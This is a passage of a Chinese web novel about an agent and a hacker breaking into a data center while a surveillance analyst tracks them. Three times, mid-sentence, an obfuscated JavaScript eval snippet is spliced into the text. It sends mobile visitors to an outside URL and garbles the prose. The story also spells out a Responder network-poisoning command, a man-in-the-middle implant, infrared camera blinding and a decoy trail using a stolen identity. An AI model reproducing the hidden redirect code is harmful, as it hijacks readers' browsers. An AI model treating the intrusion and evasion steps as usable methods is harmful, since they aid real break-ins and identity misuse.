Auditor透过墨镜,眼里倒是开心: “抓到亓默之后,我要跟她叙叙旧。上次她欠我的一顿米其林还没还呢。” 老邢转身离开:“随你。只要结果。” 玻璃门重新关上。 Auditor转回身,面对那巨大的环形屏幕。 “好了,让我看看……” “袁问,到底有什么通天的本事。” 巨大的城市网络拓扑图在他瞳孔中倒映出来。 “打声招呼吧,小朋友。” 袁问手里死死攥着一个黑色的塑料袋,里面沉甸甸的,全是红票子。 八万块。 她整个人到现在还是懵的。 半小时前,亓默把那辆威风凛凛的进口路虎开进了拆车厂。 十分钟前,她眼睁睁看着几个小工拿着切割机和扳手,像分尸一样把那辆几百万的豪车大卸八块。 GPS、行车电脑、甚至连那块带编号的发动机缸体都被砸烂了。 “那是……那是同事的车吧?”袁问咽了口唾沫,声音发飘。 “是前同事。” 亓默纠正道,手里数着最后几张钞票,随手塞进袁问的塑料袋里,“拿好。这是我们的行动经费。” 袁问抱着钱,看着亓默的背影,心里那个“内鬼”的标签贴得更死了。 “发什么呆?走了。” 亓默一把薅住袁问的后领子,把她拖出了拆车厂。 两人穿过几条满是积水的巷子,来到了一家更破烂的二手车行。 亓默指着角落里一辆银灰色的现代伊兰特。 “五千。我要了。” 老板甚至没来得及报价,就被塞了一把钱。 袁问被塞进副驾驶,一股浓烈的、陈旧的霉味扑面而来。 “这车……”袁问缩了缩脚,“味道有点冲啊。” “泡水车。”亓默发动车子,发动机发出一声哮喘般的咳嗽声,“便宜,没联网,丢了不可惜。而且……” 她挂上档,随口补了一句:“里面大概率死过人,阴气重,晦气,正好防追踪。” 袁问:“……” 她默默地把屁股往上抬了抬,恨不得悬空坐着。 一小时后,市中心某大型综合商场。 两人都戴上了口罩和黑框平光眼镜,混在周末熙熙攘攘的人流里。 得先解决工具问题。 亓默径直走向了那个标志性的白色苹果店。 “我们要去干大事。”亓默指着柜台,“得有台好电脑。” 她随手指了指最贵的那台MacBook Pro 16寸。 “那个。顶配。拿现货。” 导购员一看这架势,立刻笑成了花:“好的女士,这台是M3 Max芯片,只要三万二……” 亓默掏出刚才卖车换来的现金,准备拍在桌上。 “等等!别买!” 一只脏兮兮的手突然伸过来,死死按住了钱。 袁问一脸惊恐地看着那台精致的银色笔记本,像是看见了什么烫手的山芋。 “姐,不行!这个我不行!” 亓默皱眉:“嫌贵?雷子买单,你心疼什么?” “不是贵不贵的事儿!” 袁问急得脸都红了,带着一种难以启齿的窘迫: “姐,我……我不会用这个。” 亓默愣了一下:“不会用?你不是黑客吗?” “我是黑客,但我也是个穷鬼啊!” 袁问指着那台泛着冷光的Mac,语气里满是无奈和心酸: “我在网吧混了这么多年,用的都是Windows 10和 Win7,再高端点就是装个盗版Linux。” “这种高端货……我摸都没摸过。” 她看着那台机器,像是在看外星科技: “它的系统逻辑跟Windows不一样,快捷键我不熟,指令我都不确定。” “你要我现在现学?万一关键时刻我找不到终端入口在哪,或者按错了一个键,咱们就全完了。” 导购员在旁边听得直翻白眼,眼神里写满了“哪来的土包子”。 袁问缩了缩脖子,声音更小了: “姐,我是吃粗粮长大的。这种细糠,我消化不了。” “给我买个普通的吧,求你了。” 亓默看着袁问那副没出息的样子,叹了口气。 她把钱收回来,转身走出苹果店。 “行。天生劳碌命。” 商场角落,冷清的 Dell 专卖店。 袁问一进这就自在多了。她直奔角落里的特价区,指着一台塑料感十足的Latitude: “这个行!四千块!跟我以前用的那台差不多,上手就能飞!” 这是她刻在骨子里的省钱和路径依赖——只选自己熟悉的、便宜的、坏了不心疼的。 “不行。” 亓默看都没看那台破电脑一眼。 “你会用Windows是吧?那就买个好的Windows。” “要是关键时刻卡机、死机,或者因为过热降频导致数据断流,我会先把你杀了。” 亓默指着展台正中央那台黑乎乎、厚得像砖头一样的机器。 “拿那个。” 亓默对店员说,“Precision 7000系列。移动工作站。顶配。” 店员一愣:“女士,那台要三万多,很重……” “我就要重的。”亓默直接掏出现金,“不用找了,系统格掉,我要空的。” 袁问看着那台“机皇”,虽然心疼钱,但眼神终于亮了。 傻大黑粗,防摔防尘,熟悉的键盘构造,自带千兆网口。 这是真正的工业级武器。 商场顶楼,一家人均300的西餐厅。 这是袁问动之以情,晓之以理求来的,商场的公共网络太合适提前配置环境了。 袁问坐在角落的位置,面前摆着一份战斧牛排,还有一大盘薯条。 她吃得满嘴流油,完全不顾形象。 反正花的是雷子的钱,不吃白不吃。敲竹杠这种事,她是专业的。 那台新买的“黑砖头”就摆在餐桌上,连着商场的公共Wi-Fi。 袁问一边往嘴里塞肉,一边在黑色的终端窗口里敲下一行行代码,正在配置Kali Linux的环境。 “问你个事。” 亓默喝了一口冰水,没怎么动刀叉。她压低声音,隔着桌子问道: “既然你有这台电脑,能不能直接从这里,远程黑进太平洋数据中心?” 袁问咽下嘴里的牛肉,像看傻子一样看了亓默一眼。 “姐,你想什么呢?” “那是数据中心,不是网吧。” “那种级别的机房,核心数据区肯定是物理隔离的。也就是说,它根本没连外网。我就算是有神仙的代码,连根线都没有,我怎么黑?用意念吗?” 亓默总觉得自己以前不是这么干活的,但现在合作的技术员成了低配版小混混,她也没办法。 “所以,必须有人进去。” “对。” “得有人肉身混进去,找到内网的接口,把这个……” 她从兜里掏出两个顺路电子垃圾商城买来的,还没组装好的树莓派电路板。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068510|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “把这个‘中间人盒子’插上去。只要物理层通了,我就能在这里远程操作。” “我去。”亓默说。 潜入是她的强项。 “但这里有个问题。”亓默皱眉,“你是脑子,我是手。我不懂代码,进去之后不知道插哪根线。我们需要实时通讯。” 她下意识地摸了摸耳朵:“组织以前有那种针孔摄像头的战术目镜,但我现在没法调货……” “噗。” 袁问没忍住笑出了声,差点喷出一根薯条。 “姐,你那是老黄历了吧?还是看电影看多了?” “那种间谍专用设备,信号频段特殊,一进大楼就被安检扫出来了。” 袁问擦了擦嘴,指了指楼下的数码区。 “现在都什么年代了。” “去楼下,随便找个高端数码店,买个META的智能眼镜。”“民用的,带摄像头,能直播,能语音,长得还跟普通近视镜一样。保安看到你戴个高科技战术目镜肯定扣你,但看到你戴个时尚眼镜?屁都不会放一个。” 亓默愣了一下。 她确实脱离“正常生活”太久了,习惯了专用装备,却忘了民用科技已经进化到了这一步。 “行。” 亓默站起身,把几张大钞压在盘子底下。 “吃饱了吗?吃饱了干活。” “差不多了,核心模块下好了,剩下的车上离线装。” 商场出口,隐蔽的步行梯。 袁问手里多了个塑料袋,里面装着两部最便宜的二手安卓机,屏幕都有裂纹的那种。 开机。 屏幕亮起,信号格满格。 袁问打开了一个同城跑腿APP。 下单:帮送两部旧手机去临市长途汽车站,给在那边的亲戚。加急,红包 800。 熟练的绑上了刘金凤的卡,这卡号,她一时半会可能忘不了。 紧接着,袁问又用那张“刘金凤”的身份信息,在网上实名购买了两张去往西边城市的高铁票和机票。 没过五分钟,一个穿着黄马甲的跑腿小哥骑着电动车来了。 “是这儿寄件吗?” “对。”袁问把装手机的袋子递过去,“师傅,路上别关机啊,我得看着定位,怕丢。” “放心吧美女,一直开着!”小哥拿了红包,油门一拧,飞快地消失在车流中。 “搞定。” 袁问拍了拍手,一脸得意,像个刚完成了一场完美犯罪的小狐狸。 “老邢的监控系统是被动触发的。” “只要‘刘金凤’的身份信息一动,警报就会响。他会看到我们买了票,又看到手机信号正在高速往西移动。” “等他把大部队调过去,那个跑腿小哥估计都快出省了。” 这叫物理欺骗。 不用写一行代码,只要肯花钱,那是真的能骗死人。 亓默看着她那副沾沾自喜的样子,没说话。 “走吧。去停车场,换回那辆破车。” 两人压低帽檐,钻进了一辆路过的出租车,前往她们藏匿那辆“泡水现代”的偏僻街区。 同一时间,地下三层,审计处。 巨大的环形屏幕上,红色的警报果然亮了。 【警报:目标身份“刘金凤”出现活动】 【购票信息:C城->A城(西部)】 【实时信号追踪:目标正沿G40高速向西移动】 老邢看着屏幕,猛地站起来:“抓到了!她们要往西边跑,去机场!雷子,带人去堵截!” “坐下。” Auditor依然窝在他的人体工学椅里,甚至懒得抬头看一眼大屏幕。 他手里转着那支触控笔,语气轻慢: “邢叔,动动你的脑子。” “亓默是什么人?顶级特工。她逃跑会刷身份证买票?甚至还带着开机的手机上高速?” Auditor嗤笑一声: “这就好比……有人在米其林餐厅点了一份臭豆腐。太刻意了,太假了。” “这是那个小朋友留给你的诱饵。谁去追,谁就是傻子。” “那她们在哪?”老邢皱眉。 “别急,看点真正有意思的东西。” Auditor手指在键盘上优雅地敲击,调出了另一组数据。 “那个小朋友虽然骗术不错,但她犯了一个技术人员的通病。” “忍不住。” 屏幕画面一转,切到了市中心CBD区域的流量热力图。 Auditor指着其中一个峰值: “半小时前,CBD商场公共Wi-Fi。” “出现了一台崭新的Dell Precision 7780移动工作站。设备指纹是新的,刚刚激活。” 老邢不解:“这说明什么?很多人买电脑。” “是啊,很多人买电脑。” Auditor嘴角的笑意更深了,眼神里闪烁着猎人的光芒: “但普通人买了电脑,第一件事是装微信、看视频。” “而这台电脑,接入网络的五分钟内,没有访问任何娱乐网站。” “它直接连接了Kali Linux的官方镜像源,怎么说呢,这是个黑客操作系统,全速下载了4GB的系统包。紧接着,又访问了几个特定的GitHub仓库,拉取了全套的渗透测试工具。” “在公共场合,用顶级工作站,下载黑客武器库。” Auditor摊了摊手: “这就像是一个人在闹市区,突然从包里掏出一把狙击枪开始组装。” “简直是在对着我的监控探头喊:‘嘿!我在这儿!’” 老邢眯起眼睛:“那是她们。” “当然。” Auditor手指滑动,调出了商场那个时间段的监控录像。 画面定格。 两个戴着口罩和眼镜的女人,正从商场侧门走出来,手里提着Dell的电脑包。 她们上了一辆出租车。 Auditor开始追踪那辆出租车。 五分钟后,出租车停在了一个偏僻的街区。 两人下车,钻进了一辆灰扑扑的、毫不起眼的现代伊兰特。 “找到了。” Auditor锁定那辆现代车的车牌。 “那是一辆报废车,没联网。但只要它在路上跑,就逃不过交通探头。” 他敲下回车。 城市交通监控网开始全城检索这辆破车。 很快,一个新的红点出现在地图上。 它没有往西去机场。 它正在往东开,驶向出城的高速口。 “东边……” Auditor看着那个方向,若有所思。 “有点意思。她们不是在逃跑,她们是在进攻。” “邢叔。” Auditor转过椅子,声音变得愉悦: “让雷子那帮蠢货去追手机吧。” 14. [Ghost] 幽灵 14 地下三层,审计处。 Auditor看着屏幕上那辆破旧的现代伊兰特驶出了C城的高速收费站,方向一路向东,直奔P城。 “P城……” Auditor手里的触控笔轻轻敲击着桌面。 “那里是经济特区,全是金融大楼和港口。” 旁边的老邢有些不耐烦。 “老邢,你不觉得奇怪吗?亓默不是那种没头苍蝇。她去P城,一定有明确的目的地。” 他转过身,面对巨大的环形屏幕,双手在键盘上飞快敲击。 “检索P城所有与组织有过资金往来、控股关系、或者暗中提供过技术支持的空壳公司和实体资产。” 屏幕上数据飞速滚动。 几百家贸易公司、物流点、甚至皮包公司跳了出来。 Auditor 眯起眼睛:“过滤条件:具备物理隔离设施,且能耗等级为‘工业级’。” 瞬间,几百个红点消失了。 只剩下一个孤零零的蓝点,在P城的CBD核心区闪烁。 【Pacific Data Center Solutions(太平洋数据中心)】 【备注:组织‘K-7’计划前置服务器托管地(已废弃/静默)】 “Bingo。” Auditor打了个响指,像个发现了新玩具的孩子。 “太平洋数据中心。” “原来如此。五年前那批所谓的‘销毁物资’,并没有烧成灰,而是变成了那里的数据。” 他转过头,透过墨镜看着老邢: “撤销高速路上的所有路障。把交警和临检都撤了。” “让她们过。” Auditor站起身,伸了个懒腰,走到售货机旁拽了一瓶可乐。 “既然她们想去那个数据中心,那就让她们去。” “我也很好奇,那两个小老鼠费尽心机跑这么远,到底想在那堆旧服务器里翻出什么东西?” “是名单?是账本?还是什么能要我们命的把柄?” 他大口吞可乐,眼神变得极度冰冷且兴奋: “等她们插上网线的那一刻,我会接管那里的一切。” “在那之前,让她们跑吧。” G40高速公路,临近P城。 那辆充满霉味的现代车在公路上飞驰。 袁问坐在副驾驶,正捧着那台戴尔工作站,噼里啪啦地敲着键盘,嘴里还叼着一根吸管,喝着那罐“零糖”魔爪。 “姐,神了!” 袁问看着路况监控,一脸得意: “前面那个收费站的临检撤了!我看论坛上说本来今天有查酒驾的,突然全撤了。” “我的‘替身攻击’太完美了!老邢那个蠢货肯定带着人在西边机场抓瞎呢!” 她笑得没心没肺,甚至有点想哼歌。 这就是智商压制啊! 然而,驾驶座上的亓默,脸色却越来越阴沉。 她单手扶着方向盘,眼神在后视镜和前方道路上不断游移。 太顺了。 顺得让人心里发毛。 从出城到现在,两百公里,没有一辆警车跟上来,甚至连那种伪装成私家车的暗哨都没有。 对于老邢那种“宁可错杀一千”的性格来说,这绝对不正常。 “别笑了。” 亓默冷冷地打断了袁问的快乐。 “啊?怎么了?”袁问咬着吸管。 “如果是老邢,他可能会被骗。” 亓默的声音紧绷,像是拉满的弓弦,“但如果这次接手的是那个‘Auditor’……这就不对劲了。” “那个死宅虽然傲慢,但他从不犯低级错误。” 亓默看着前方空荡荡的高速公路,感觉自己不是在逃亡,而是在走红地毯。 “这一路,太安静了。” “安静得像是有意把路障搬开,赶着我们进圈。” 袁问愣了一下:“进圈?进什么圈?” 可她心里全是,进去啊,你这个疯女人进去,关我什么事? “太平洋数据中心。” 亓默踩下油门,车速飙升。 一小时后。P城CBD。 现代车被丢弃在了两公里外的地下车库。 两人步行,站在了那座巨大的、像黑色墓碑一样的建筑前。 太平洋数据中心。 袁问找了个大楼对面的星巴克,选了个靠窗但隐蔽的死角。 她打开电脑,没有立刻联网,而是先把手机扔进了信号屏蔽袋。 “姐,我准备好了。” 袁问的手心全是汗。 她递过那副刚买的Meta智能眼镜。 眼镜框的边缘有些粗糙,多了几个用热熔胶固定的、米粒大小的透明灯珠。 “戴上这个。” 袁问压低声音,“我在镜框上焊了高功率红外发射管。” “人眼看不见这光。但在监控探头的感光元件里,你的脸就是一轮过曝的太阳。除了白光,什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068511|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都拍不到。” 亓默接过眼镜,皱了皱眉:“如果有人盯着监控墙看,一团白光移动不是更可疑吗?” “谁会24小时盯着屏幕看啊?” 袁问不以为然地撇撇嘴,语气里透着一股来自底层的盲目自信: “以前我在医院那会儿,保安室的大爷要么在睡觉,要么在刷抖音。这种大楼的保安也是拿死工资的,顶多靠AI抓拍报警。” “只要我的红外光把AI晃瞎了,让它抓不到‘人脸’特征,警报就不会响。” 其实,这只是借口。 袁问心里清楚,这确实有风险。万一碰到个尽职的保安,亓默就完了。 但那又怎样? 这里是CBD,人流量这么大。 如果亓默被发现了,那正好。 保安去抓她,现场一乱,我正好可以趁乱看看能不能远程捞点数据跑路。 至于你会不会被抓、会不会死…… 袁问看着亓默戴上眼镜,嘴角极其隐蔽地抽动了一下。 关我屁事。 别把火引到我身上就行。 袁问收回心思,指了指那栋黑色的大楼。 “那是午休时间,也是我们唯一能利用的混乱窗口。” “如果我不说话了,或者信号断了……” 袁问顿了一下,装出一副担忧的样子。 亓默整理了一下并不合身的西装外套,推了推那副在监控里发着光的眼镜。 “如果信号断了,你就跑。” 亓默的声音很平静,她似乎习惯了这种把后背交给并不值得信任的队友的感觉。 “别管我。带着你的小命跑远点。” 袁问用力点了点头,眼神乖巧得像只小白兔:“放心吧姐。” 她心里可就完全不一样了,放心吧姐。只要信号一断,我拔网线的速度绝对比你逃跑的速度快。 亓默转身,混入人流,走向大楼。 此时正是午饭时间,一群挂着工牌的白领正从旋转门里涌出来。 猎物进场了。 而在赛博空间的深处,Auditor看着屏幕上那个走进大堂的“发光体”,笑了。 “老板,检测到红外干扰,无法识别人脸。要拦截吗?”一边的手下不识时务的插嘴。 “我是瞎么,大灯泡我看不见?” “不过……做得挺可爱。” “不用拦截。把那个‘无法识别’的警报关了。” “她是我们要等的客人。给她开绿灯。” 15. [Ghost] 幽灵 15 太平洋数据中心,大堂。 午休时段的人流是最好的掩护。 在那副改装过的Meta眼镜的红外干扰下,大堂的安检闸机摄像头里只捕捉到了一团移动的白光。 没有警报。闸机像对待任何一个普通员工一样,对亓默放行了。 “进了。” 耳机里传来袁问的声音,带着一丝因为紧张而略显尖锐的颤音。 “别东张西望。去电梯间,按23楼。那是行政与外包混合办公区,安防级别比核心机房低,但网是通的。” 亓默没有说话,她只是扶了扶镜框,混在一群讨论午饭吃什么的白领中间,走进了电梯。 她走路的姿势很奇怪,那是为了骗过步态识别故意垫了块硬币。 亓默只是不知道,有人开心的盯着自己的灯泡脑袋。 “叮。” 23楼到了。 电梯门无声滑开。 脚下是吸音效果极佳的高级灰地毯,空气中弥漫着淡淡的咖啡味。这里是行政与外包混合办公区,虽然安防级别不如核心机房,但却是物理接入内网的最佳跳板。 亓默走出电梯。 她没有东张西望,步态平稳,脊背挺直,手里甚至像模像样地拿着一个文件夹,是刚才在大堂顺手拿的宣传册。 “左转……过两个工位……再右转。” 耳机里传来袁问的声音,急促、微喘,带着明显的紧张。 “尽头那间会议室是死角,监控拍不到门。” 亓默没说话,只是按照指令行进。 路过茶水间时,两个员工正在聊天。亓默极其自然地抬起手腕看表,脚步没有丝毫停顿,气场冷淡而疏离,那两人下意识地给她让了路。 只要你表现得像这里的老板,没人敢查你的工牌。 走廊尽头。 【Meeting Room B (会议室B)】 “快快快!进去!”袁问在耳机里催促,“趁现在没人!” 亓默没有急着推门。 她停在门口,看了一眼墙上的电子墨水屏预定系统。 屏幕显示当前状态为:Available(空闲)。 如果是袁问,大概早就冲进去了。 但亓默没有。 她从口袋里掏出那张顺手牵羊偷来的“运维经理”门禁卡。 滴。 她在电子屏的感应区刷了一下。 手指在触控屏上熟练操作:【即时预定】 -> 【时长:4小时】 -> 【会议主题:季度保密复盘(勿扰)】。 屏幕闪烁了一下,背景瞬间变成了醒目的红色。 状态变更为:Occupied(使用中)。 做完这一切,亓默才推门而入,反手落锁。 这才是专业。 这块红色的屏幕,比防盗门还要管用。它能挡住所有想要借用会议室的人,甚至是打扫卫生的阿姨。 “位置很好。” 亓默环顾四周,百叶窗拉得很严实。 她把那把顺来的椅子顶在门把手下,然后才不紧不慢地走到角落。 “线头在哪?” “墙角,那台IP电话。”袁问的声音传来,“那个黑盒子……你记得怎么插吧?” 亓默蹲下身,把那台思科IP电话翻过来。 她没有像外行一样暴力拔线。她先观察了一下水晶头的卡扣,然后从袖口摸出一根回形针,轻轻一顶,网线无声脱落。 串联接入。 墙壁网口 -> 黑盒子 -> 电话机。 她甚至顺手整理了一下线缆,把那个丑陋的树莓派盒子用双面胶粘在了桌子底部的内侧。就算有人趴在地上看,一眼也看不到。 黑盒子上的LED灯闪烁了两下,变成了稳定的绿色。 “通了。” 亓默站起身,拍了拍手上的灰,拉过一把椅子坐在门边的死角里。 她摘下那副发烫的红外眼镜,放在桌上,然后从后腰摸出把手术刀,静静地放在手边。 “接下来的舞台是你的了。” “但我提醒你,我的耐心和这间房的预定时间一样,是有限的。” 街对面,星巴克。 袁问看着屏幕上跳出的Connection Established(连接建立),长出了一口气。 手里那罐“零糖”魔爪已经被她捏得变了形。 刚才亓默在门口那一套行云流水的“刷卡锁房”操作,看得她一愣一愣的。 这就是特工吗? 相比之下,自己刚才只会喊‘快进去’,确实显得有点像个没见过世面的土包子。 “切,会开房了不起啊。” 袁问小声嘟囔了一句,以此掩饰自己的菜,“最后还不是得靠我敲代码。” 她活动了一下手指,眼神重新变得聚焦。 只要物理层通了,那就是她的主场。 “开始干活。” 袁问敲下回车,那台戴尔工作站的风扇开始呼啸。 Running Script: Internal_Recon.py (执行脚本:网络侦察) 运行脚本:内网侦察 第一步,常规动作:Netscan(网段扫描)。 她需要先搞清楚自己在哪,周围有哪些邻居。 屏幕上瞬间刷出一大片绿色的字符。 不得不说,三万块的电脑跑起脚本来就是快。 但很快,袁问的眉头就皱了起来。 “……奇怪。” “怎么了?”耳机里传来亓默的声音。 “太专业了。” 袁问盯着扫描结果。 通常来说,企业内网就像一个乱糟糟的仓库,到处都是没打补丁的老旧服务器、开放端口的打印机、还有员工私自搭建的共享文件夹。 但这里…… 这里干净得像个无尘室。 她扫到了域控制器(AD Server)。 OS: Windows Server 2022 Patch: Latest (版本包:最新) Ports: 仅开放必要端口 她试着跑了一下 CVE 漏洞库匹配。 【Vulnerabilities Found: 0】(发现漏洞:0) “这帮人是有多闲?”袁问骂了一句,“系统补丁打得比我脸都干净。” 没有漏洞,意味着她手里那些现成的攻击脚本全都成了废纸。 “别急,还有老办法。” 袁问咬着指甲,“打印机。再牛逼的公司,打印机也是软肋。” 她迅速锁定了网段里的一台大型复合机。 Pulling LDAP Config... (正在读取内部身份配置。) 只要能把打印机配置文件里的LDAP服务账号拉出来,她就能拥有一个合法的内网身份。 然而,三秒钟后。 【Access Denied】(拒绝访问) 【Error: Port Security Enabled】(错误:端口安全已启用) 这台打印机所在的交换机端口,做了MAC地址绑定和流量清洗。 除了打印指令,任何试图读取配置的操作都会被防火墙直接掐断。 袁问的手心开始冒汗了。 她又试了横向移动的几个经典工具。 【Blocked】(屏蔽) 【Blocked】 【Blocked】 屏幕上一片刺眼的红字。 这个内网被做了极其变态的微分段。 亓默所在的那个会议室网口,被死死地圈在了一个名为GUEST_VLAN的小笼子里。 她能上网,能打电话,就是去不了核心数据库。 时间一分一秒过去。 袁问感觉自己像是撞上了一堵看不见的墙。 她引以为傲的那些“网吧黑客技巧”,在这里就像是用牙签去撬银行的金库大门。 “说话。” 耳机里,亓默的声音依然冷静,但那种压迫感透过无线电波传了过来,“二十分钟过去了。你在发什么呆?” “不行……过不去。” 袁问的声音带上了哭腔,那是老鼠被逼进死角后的绝望,也是对自己无能的羞愤。 “这地方有鬼。所有的路都被封死了,规则写得滴水不漏。” 袁问盯着屏幕上那个不停闪烁的光标。 她只有最后一条路了。 一条她本来不敢走、也不想走的脏路。 既然没有钥匙开门,那就把门炸开。 袁问眼中闪过一丝疯狂。 她关掉了那些精细的扫描工具,颤抖着手,输入了一行她原本绝对不想用的命令: sudo responder -I eth0 -w -r -f “姐……” 袁问咽了口唾沫,声音发紧。 “我要炸门了。” “既然他们不让我过,我就向全网广播毒化。我要强制劫持他们的认证流量。” “后果呢?”亓默问。 “后果就是……” 袁问看了一眼对面那栋沉默的黑色大楼,仿佛看到了一只巨兽正在苏醒。 “动静会非常大。就像在图书馆里扔了一颗震撼弹。” “你会暴露。警报会响。你会变成靶子。” “但这是唯一的办法。” 耳机里沉默了零点一秒。 没有指责,没有犹豫。 只有一声极其冷淡的: “做。” 袁问的手指悬在回车键上,僵了一下。 做? 命都不要了? 正常人哪有这么淡定的。 果然。 你敢这么玩命,不是因为勇气可嘉,是因为你知道老邢不会杀自己人。 演得真像啊,亓默。 既然你们是一伙的,那我卖你的时候,可就一点心理负担都没有了。 “好……姐,那你小心。” 袁问吸了吸鼻子,声音带着颤抖的哭腔,演足了那份虚假的姐妹情深。 然后,她眼神一狠,重重敲下回车。 Responder启动。 毒化广播像瘟疫一样,顺着那根细细的网线,瞬间席卷了整个太平洋数据中心的内网。 地下三层,审计处。 巨大的环形屏幕上,原本平静的数据流突然炸开了。 就像是有人在平静的湖面扔进了一颗深水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068512|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸弹。 [ALERT: Broadcast Storm Detected](警告:检测到网络广播风暴) [Source: Guest VLAN/Meeting Room B] (源头:会议室B) Auditor看着屏幕上那红得刺眼的流量峰值,非但没生气,反而被逗乐了。 “这就急了?” 他摇摇头,语气里满是对“没品位”的嫌弃。 “用Responder这种粗鲁的广播毒化……啧,就像是拿着大喇叭在图书馆里喊‘我是管理员,把你们的密码都给我’。” “太吵了,小朋友。” 他的手指在键盘上敲击了几下。 他没有切断袁问的连接。相反,他把防火墙的口子撕得更大了一点。 “你想偷东西?好,我让你偷。” Auditor看着另一侧的流量监控图。 那里显示,攻击源正在疯狂地从核心数据库里抽取文件。 紧接着,Auditor发现了一个更有趣的细节。 攻击源为了最大化下载速度,正在主动挤占同一条链路上的其他数据包。 那个被标记为Video_Stream(视频流)的进程,被攻击者强制降级、甚至掐断了。 “哇哦。” Auditor吹了个口哨,眼神里闪过一丝真正的惊讶。 “为了下载快一点,居然把队友的‘眼睛’给挖了?” “亓默啊亓默,你这次捡回来的不是老鼠,是一条白眼狼啊。” “既然你这么贪心……” Auditor嘴角的笑意变冷了。 他敲下回车。 “那我就送你个礼物。” [Inject: Tracking_Beacon.exe] (注入:追踪信标) [Protocol: LOCKDOWN] (协议:封锁) “门关上了。现在,看看谁能跑得掉。” 街对面,星巴克。 袁问的手指已经快敲断了。 屏幕上,两个进度条正在疯狂赛跑。 左边:Downloading: K7_Archive.rar (正在下载:K7档案) —— 89% 右边:[WARNING] Intrusion Detected. Traceback Initiated... (警告:检测到入侵,逆向追踪启动) 倒计时15秒。 “快点……快点啊!” 那台戴尔工作站的风扇在咆哮,但速度还是不够快。 通道太拥挤了。 亓默那副Meta眼镜传回来的高清实时画面,占用了大量的上行带宽。 “滋——滋——” 耳机里传来亓默的声音,背景里已经有了急促的警报声和撞门声。 “袁问!怎么回事?门锁死了!” “把门打开!保安已经到楼梯口了!” 袁问盯着那个卡在92%的下载进度条。 再过十秒,Auditor就会顺着网线抓到她的真实 IP。 如果现在分流算力去解那个该死的电子门禁,或者维持视频通话…… 下载会掉速。 她可能拿不到完整的数据。 为了救你,让我少拿一秒钟的数据? 凭什么? 你是内鬼,你死不了。但我真的好奇太平洋这里到底有什么我父母的秘密。 袁问眼中闪过一丝狠戾。 她毫不犹豫地输入了一行指令: kill -9 pid_video_stream (中断眼镜直播进程) tc qdisc add dev eth0 root tbf rate 100mbit (流量整形:全速下载) 屏幕左上角,亓默的第一视角画面瞬间黑屏。 耳机里的声音也戛然而止。 世界清静了。 没了视频流的干扰,下载速度瞬间飙升。 95%...98%...100%! “拿到了!” 袁问手疾眼快,一把拔下那个插在USB口上的PSSD硬盘。 以及……她没想到的“定时炸弹”。 就在这时。 电脑屏幕猛地一闪。 那个红色的倒计时归零了。 [SYSTEM ALERT] [Traceplete. Location Found.] (系统警告:最总完成,位置锁定。) 袁问吓得手一抖。 她甚至来不及关机,直接粗暴地拔掉了网卡。 物理断网。 她看了一眼大楼的方向。 那里警铃大作,红光闪烁,像是一个巨大的、正在吞噬一切的黑洞。 而亓默,那个被她掐断了信号、锁死了大门的“姐姐”,现在就在那个黑洞的最深处。 “关我屁事……” 袁问把硬盘揣进内兜,抱着电脑,像个偷了东西的贼一样,推开店门冲进了人流。 “是你自己说让我跑的。” 她跑得飞快。 这一次,她没有回头。 16. [Ghost] 幽灵 16 太平洋数据中心,23楼,会议室 B。 “滋——” 耳机里那点微弱的电流声彻底消失了。 原本一直在那头絮絮叨叨指挥的袁问,突然像是被人掐断了喉咙一样,彻底没了动静。 亓默皱了皱眉: “袁问?门开了吗?” 没有回应。 不仅没有回应,她鼻梁上那副 Meta 智能眼镜的指示灯也灭了。 视频流断了。 就在亓默准备伸手去检查设备的时候,眼镜的骨传导耳机里,突然传来了一个陌生的、带着几分慵懒和戏谑的男声。 不是袁问。 是那个Auditor。 “啧啧啧。” 那个声音像是贴着她的头骨传进来的,带着一种看好戏的优越感: “小默,你的眼光真的退步了。” “为了多抢那几兆的下载带宽,那个小朋友直接把你的视频流给掐了。” “比起救你,她显然更想要那块硬盘。” 亓默的手僵在半空。 瞬间,所有的逻辑都通了。 为什么信号断了?为什么门没开? 因为那只老鼠在最后一刻,毫不犹豫地选择了独吞和跑路。 “看来,她把你卖了个好价钱。” Auditor 的声音继续在耳边回荡,带着欠揍的笑意: “现在整栋楼都锁死了。黑手套正在上楼。你是想束手就擒,还是让我……” “闭嘴,死宅。” 亓默冷冷地骂了一句。 “管好你自己的事。” “啪!” 她一把扯下那副昂贵的智能眼镜,狠狠摔在地上,一脚踩得粉碎。 世界清静了。 此时,走廊外。 急促的战术靴脚步声已经逼近了会议室门口。 “2304 区域!确认目标在里面!破门组准备!” 亓默看了一眼那扇被电子磁力锁死死吸住的大门。 没有袁问的远程解锁,这扇门就是一堵墙。 